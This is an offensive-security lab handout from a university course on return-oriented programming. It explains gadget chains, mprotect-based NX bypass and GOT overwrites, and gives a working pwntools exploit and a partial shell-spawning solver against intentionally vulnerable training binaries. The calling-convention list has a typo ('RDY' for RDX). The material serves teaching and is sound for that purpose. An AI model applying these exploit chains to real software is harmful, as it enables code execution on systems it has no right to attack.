

PIE and Advanced ROP

Laboratory for the class “Offensive Security”
(01NWLWQ, 01NWLUV, 01NWL UW, 01NWLWR)
Politecnico di Torino – AY 2025/26
Prof. Cataldo Basile

prepared by:
Alberto Carboneri (alberto.carboneri@polito.it)

v. 2.0 (14/04/2026)

Contents

1	Advanced ROP	2
1.1	Materials	2
1.2	ROP refresher	2
1.3	Gadgets and the amd64 calling convention	2
1.4	How a ROP chain actually executes	3
1.5	Stack alignment: the extra <code>ret</code>	3
1.6	Using <code>mprotect</code> to bypass NX	3
1.7	Recommended workflow	4
1.8	ropper CLI (practical mini-cheatsheet)	4
1.9	Guided example 1: Toolkit — ROP to reach <code>win(a,b,c)</code>	4
1.10	Guided example 2: Forge — ROP + <code>mprotect</code> (run injected shellcode)	6
1.11	From guided examples to independent exercises	8
2	Exercises	9
3	Extras	11

Purpose of this laboratory

This laboratory focuses on **advanced ROP** (Return-Oriented Programming) techniques: building multi-gadget chains, using `mprotect` to bypass NX, driving full `execve` syscalls on a statically linked binary, and corrupting GOT entries by a constant offset to land in `system()` *without* ever leaking a `libc` address. The goal is to move beyond simple control-flow hijacking and learn to construct complex payloads that set register arguments, call library functions, re-enable code execution on otherwise non-executable memory regions, and rewrite function pointers under partial RELRO.

All the binaries and source code for this lab are in `lab_04_pie_rop/materiale/challenges/`.

The laboratory is structured as follows:

- **Guided exercises:** step-by-step walkthroughs to introduce ROP chains and the `mprotect` technique.
- **Exercises:** independent challenges to practice and consolidate the concepts.

1 Advanced ROP

This section covers the theory behind advanced ROP chains and walks through two examples step by step.

1.1 Materials

Each challenge directory contains:

- the binary;
- the source code (`main.c`);
- a `solve.py` template (for some exercises).

1.2 ROP refresher

When NX is enabled, the CPU refuses to execute instructions from memory pages that are not marked executable (e.g., stack and most writable regions). ROP bypasses NX by chaining together short instruction sequences already present in the program image (and its mapped libraries). Each sequence ends in a control-transfer instruction (typically `ret`), so when a function returns, it continues execution at an attacker-chosen address.

1.3 Gadgets and the amd64 calling convention

On Linux amd64 (System V ABI), the first arguments are passed in registers: `RDI`, `RSI`, `RDY`, `RCX`, `R8`, `R9`

A common ROP pattern is to use gadgets like: `pop rdi ; ret pop rsi ; ret pop rdx ; ret`

This lets you set arguments before calling an existing function (e.g., `win()`, `mprotect@plt`, `puts@plt`, etc.).

1.4 How a ROP chain actually executes

At the moment you hijack control flow, the stack (RSP) points to attacker-controlled data. Each `ret` does (conceptually):

```
RIP = *(uint64_t*)RSP
RSP += 8
```

So a ROP chain is literally an *array of 8-byte words* on the stack:

- gadget addresses (become the next RIP);
- immediate values consumed by `pop` instructions inside gadgets.

Example (amd64) for calling `win(a,b,c)`:

```
[padding]
[ret] (optional alignment)
[pop rdi ; ret] -> consumes next QWORD into RDI
[a]
[pop rsi ; ret] -> consumes next QWORD into RSI
[b]
[pop rdx ; ret] -> consumes next QWORD into RDX
[c]
[win] -> "return" into win()
```

1.5 Stack alignment: the extra `ret`

Many modern libs assume the stack is 16-byte aligned at call boundaries. Depending on your overflow length and chain layout, you may need to insert a single `ret` gadget before a function call.

NOTE

If your exploit crashes inside `libc` with seemingly valid registers, try adding one `ret` before the call.

1.6 Using `mprotect` to bypass NX

The `mprotect` system call changes the protection of a memory page:

```
int mprotect(void *addr, size_t len, int prot);
```

By calling `mprotect(page, 0x1000, 7)` (where `7 = PROT_READ | PROT_WRITE | PROT_EXEC`), you can make a writable buffer executable.

The typical two-stage exploit is:

1. Send shellcode into a known writable buffer (e.g., `.bss`).
2. Use ROP to call `mprotect` on that buffer, then jump to it.

NOTE

`mprotect` requires the address to be **page-aligned** (a multiple of `0x1000`). In Python: `page = addr & ~0xfff`.

1.7 Recommended workflow

1. Check mitigations with `checksec`.
2. Find the offset to overwrite RIP (cyclic pattern).
3. Locate gadgets:
 - easiest: use helper symbols intentionally provided in the training binaries;
 - otherwise: use `ROPgadget / ropper / objdump -d`.
4. Build the chain in `pwntools` using `flat()` and validate in GDB.

1.8 ropper CLI (practical mini-cheatsheet)

Install / run:

```
python3 -m pip install --user ropper
ropper --version
```

Search for a specific gadget pattern:

```
ropper --file ./binary --search "pop rdi; ret"
ropper --file ./binary --search "pop rsi; ret"
ropper --file ./binary --search "pop rdx; ret"
```

Notes:

- Gadget syntax may vary slightly (spacing, prefixes). If one search fails, try a shorter query like `"pop rdi"`.
- Always verify the gadget address in GDB if the exploit crashes unexpectedly.
- If you see a libc crash at `movaps`, try adding a single `ret` for stack alignment.

1.9 Guided example 1: Toolkit — ROP to reach `win(a,b,c)`

In `00_toolkit/` the program reads your input into a 64-byte buffer — but accepts up to 256 bytes.

Binary:	00_toolkit/toolkit
Source:	00_toolkit/main.c

The goal is to call `win(0x1111111111111111, 0x2222222222222222, 0x3333333333333333)`. The binary includes helper gadgets as named symbols: `pop_rdi_ret`, `pop_rsi_ret`, `pop_rdx_ret`, `ret_gadget`.

We will walk through this challenge step by step.

Step 1 — Inspect protections

Run `checksec` on the binary: `checksec --file ./toolkit`

Write down the relevant results:

NX:	→
PIE:	→
Canary:	→

Because NX is enabled you cannot inject shellcode. Because PIE is disabled, all addresses are fixed.

Step 2 — Find the overwrite offset

Generate a cyclic pattern and use GDB to find the crash offset:

```
python3 -c 'from pwn import *; print(cyclic(200).decode())'
```

Offset to RIP:

→

Step 3 — Identify gadgets and target

This training binary includes helper gadgets. Find their addresses:

```
nm ./toolkit | grep -E "pop_rdi|pop_rsi|pop_rdx|ret_gadget|win"
```

Step 4 — Payload layout

The final chain is:

pad (72 B) || ret || pop rdi || *a* || pop rsi || *b* || pop rdx || *c* || win

Step 5 — The complete exploit

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./toolkit', checksec=False)
context.arch = 'amd64'

OFFSET_TO_RIP = 72

a = 0x1111111111111111
b = 0x2222222222222222
c = 0x3333333333333333

p = process(elf.path)

payload = flat(
    b'A' * OFFSET_TO_RIP,
    p64(elf.sym.ret_gadget),
```

```

    p64(elf.sym.pop_rdi_ret), p64(a),
    p64(elf.sym.pop_rsi_ret), p64(b),
    p64(elf.sym.pop_rdx_ret), p64(c),
    p64(elf.sym.win),
)

p.recvuntil(b'Input:')
p.send(payload)
p.interactive()

```

Run it and confirm you get a shell.

NOTE

In GDB, set a breakpoint at `win`. When the breakpoint hits, verify `RDI/RSI/RDX` contain the expected constants.

1.10 Guided example 2: Forge — ROP + `mprotect` (run injected shellcode)

In `01_forge/` the binary performs two reads:

1. reads raw bytes (your shellcode) into a global buffer in `.bss`;
2. then reads into a small stack buffer (vulnerable overflow).

Binary:	01_forge/forge
Source:	01_forge/main.c

Key questions

- Why can't you just run your shellcode directly from the `.bss` buffer?

→

- What are the three arguments to `mprotect`?

→

The two-stage strategy

1. **Stage 1:** send shellcode (e.g., `asm(shellcraft.sh())`) into the `.bss` buffer.
2. **Stage 2:** overflow the stack buffer with a ROP chain that calls `mprotect(page, 0x1000, 7)`, then jumps to the shellcode.

Addresses you need

In Python (PIE is off):

```
shellcode_addr = elf.sym.shellcode
page = shellcode_addr & ~0xfff
```

Partial solver — fill in the blanks

Complete the script below. The parts marked ??? are for you to determine.

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./forge', checksec=False)
context.arch = 'amd64'

OFFSET_TO_RIP = ???

shellcode = asm(shellcraft.sh())
shellcode_addr = elf.sym.shellcode
page = shellcode_addr & ~0xfff

p = process(elf.path)

# Stage 1: send shellcode into .bss
p.recvuntil(b'Send_shellcode:')
p.send(shellcode.ljust(0x400, b'\x90'))

# Stage 2: ROP chain
payload = flat(
    b'A' * OFFSET_TO_RIP,
    p64(elf.sym.ret_gadget),
    p64(elf.sym.pop_rdi_ret), p64(???),
    p64(elf.sym.pop_rsi_ret), p64(???),
    p64(elf.sym.pop_rdx_ret), p64(???),
    p64(elf.plt.mprotect),
    p64(???), # where to jump after mprotect?
)

p.recvuntil(b'Input:')
p.send(payload)
p.interactive()
```

→

ATTENTION

If you get a crash right after `mprotect`, debug in GDB and check: (1) `RDI` is page-aligned, (2) the `ret_gadget` is present, (3) the shellcode read was not truncated.

1.11 From guided examples to independent exercises

The guided examples above show two core ROP techniques: **setting register arguments with gadgets** and **using `mprotect` to execute staged shellcode**. The next section lists the exercises you should solve during the lab and at home.

2 Exercises

This section collects the challenges to solve independently. Each exercise directory is under `lab_04_pie_rop/materiale/ch`

Exercise 1 — Chain Reactor (ROP without helper symbols)

Purpose:	build a ROP chain to call <code>win(code1, code2)</code> when there are no named helper gadgets.
Suggested tools:	checksec, ROPgadget or ropper, GDB + pwndbg , pwntools.
Hints:	use <code>ROPgadget --binary ./chain_reactor grep "pop rdi"</code> to locate usable gadgets. The binary contains them, but they are not exposed as function symbols.

Challenge directory: `02_chain_reactor/`

Files:

```
02_chain_reactor/chain_reactor
02_chain_reactor/main.c
02_chain_reactor/solve.py
```

Exercise 2 — Arsenal (static binary, build the whole chain)

Purpose:	build a full ROP chain on a statically linked binary that contains <i>no</i> <code>win()</code> , <i>no</i> <code>system</code> , and <i>no</i> <code>"/bin/sh"</code> literal.
Suggested tools:	checksec, ROPgadget/ropper, GDB + pwndbg , pwntools.
Hints:	the static link drags <code>glibc</code> into the binary, so plenty of gadgets are available; a small toolbelt (<code>pop_rdi_ret</code> , <code>pop_rsi_ret</code> , <code>pop_rdx_ret</code> , <code>pop_rax_ret</code> , <code>syscall_ret</code>) is exposed as named symbols so you can focus on the <i>chain</i> .

Challenge directory: `03_arsenal/`

Files:

```
03_arsenal/arsenal
03_arsenal/main.c
03_arsenal/solve.py
```

Exercise 3 — Padlock (GOT overwrite without a leak, homework)

Purpose:	call <code>system("/bin/sh")</code> without ever leaking a libc address , by exploiting a write-add-what-where gadget to bias a GOT entry by a constant offset.
Suggested tools:	checksec, GDB + pwndbg , pwntools, <code>readelf -r</code> .
Hints:	the program reads a "decimal combination" and parses it with <code>atoi()</code> . The only output function in the binary is <code>printf</code> — so leaking <code>atoi@got</code> via a <code>puts/write</code> trick is not on the table.

The binary contains:

- helper pop gadgets (`pop_rdi_ret`, `pop_rsi_ret`, `pop_rdx_ret`);

- a custom gadget `add_what_where: add [rdi], rsi ; ret;`
- a `.bss` buffer named `vault`.

Challenge directory: 04_padlock/

Files:

04_padlock/padlock
04_padlock/main.c
04_padlock/libc.so.6
04_padlock/ld-linux-x86-64.so.2
04_padlock/solve.py

3 Extras

Optional ideas if you finish early:

- In *Toolkit*, try removing the `ret_gadget` alignment gadget from your chain. Observe when the exploit still works and when it crashes — this builds intuition for the 16-byte alignment requirement.
- In *Forge*, experiment with different `prot` values for `mprotect`. What happens if you set only `PROT_EXEC` without `PROT_READ`?
- In *Arsenal*, try to make the chain shorter — can you skip the staging `read` by spotting a usable string somewhere else inside `glibc`'s read-only segments?
- In *Padlock*, swap the GOT target: corrupt `printf@got` (or another `libc` function in the PLT) with the appropriate delta instead of `atoi@got`. Which call site triggers the hijacked entry?
- Run your final exploits against the remote Docker target. What changes between `REMOTE=1` and a local `process()`?